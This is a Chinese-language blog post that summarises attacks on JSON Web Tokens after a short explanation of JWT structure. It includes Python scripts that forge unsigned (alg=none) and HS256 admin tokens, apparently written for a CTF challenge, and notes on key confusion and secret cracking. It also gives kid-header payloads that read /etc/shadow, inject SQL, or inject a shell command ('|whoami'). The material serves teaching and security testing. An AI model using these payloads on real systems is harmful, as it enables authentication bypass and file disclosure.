jwt攻击方式总结

发布时间 2023-12-15 12:52:20作者: qingshanboy

jwt攻击方式总结

关于jwt

jwt说简单一些就是一种验证机制

包含三部分:

header

{
   "alg":"HS256",   加密方式
   "typ":"jwt",   类型
}

常用加密方式:

RSA   非对称加密,私钥加密,公钥解密
HMAC  对称加密,一个密钥用于加解密

payload

payload则为用户数据以及一些元数据有关的声明,用以声明权限,举个例子,一次登录的过程可能会传递以下数据

{
        "user_role" : "finn",    //当前登录用户
    "iss": "admin",          //该JWT的签发者
    "iat": 1573440582,        //签发时间
    "exp": 1573940267,        //过期时间
    "nbf": 1573440582,         //该时间之前不接收处理该Token
    "domain": "example.com",   //面向的用户
    "jti": "dff4214121e83057655e10bd9751d657"   //Token唯一标识
}

signature

就是用header声明的算法把header和payload连接起来并加密

signature = HMAC-SHA256(base64urlEncode(header) + '.' + base64urlEncode(payload), secret_key)

关于base64url编码

为了方便在网络中传输使用了不同的编码表的数据,它在base64的基础上取消了“=”填充,并把“+”替换为“-”,把“\”替换为“_”。

攻击方式

空加密算法

为了支持调试,jwt可以用空加密算法

如果开发人员开启了空加密算法,则可用通过修改alg=None,然后不加signature的值,那么任何的tocken都可以通过验证

#python实现空密钥payload生成
import base64
hearder='{"alg":"none","typ":"jwt"}'
payload='{"username":"admin",:"password":"admin","role":"admin"}'
def jwtBase64Encode(a):
    return base64.b64encode(a.encode("utf-8")).decode().replace('/','_').replace('+','-').replace('=','')
print(jwtBase64Encode(hearder)+'.'+jwtBase64Encode(payload)+'.')
#记住最后要加点号,因为算法为none则signature部分为空

使用HMAC算法

如果使用的是RSA的话必须要获取私钥,才可以得到signature

私钥一般很难获取,但是公钥是有可能得到的

把alg字段值改为HMAC,然后用得到的公钥签名得到token值给服务器

服务器会把公钥作为HMAC算法的密钥来进行验证

信息泄露

在线解码查看header和payload信息

因为header和payload是明文传输,里面可能包含敏感信息

爆破密钥

要爆破jwt密钥来达到攻击目的条件

1.知道一段有效的token值

2.知道jwt的算法

3.密钥是弱密钥(容易爆破)

c-jwt-cracker使用
./cracker tocken
#得到密钥后用python生成jwt的tocken值
import jwt
payload={"usename":"admin","password":"admin","role":"admin"}#该脚本以ctfhub的题为对象
secret="bugg"
print(jwt.encode(payload,secret,algorithm='HS256'))

修改kid值

kid是hearder的一个字段,用户可控制它的值
通过修改kid可用做的事情
1.指定算法密钥
"kid" : "/home/jwt/.ssh/pem"
2.读取敏感信息
"kid" : "/etc/shadow"
3.sql注入
"kid" : "key11111111' || union select 'secretkey' -- "
4.命令执行
条件:
服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。
"kid" : "/path/to/key_file|whoami"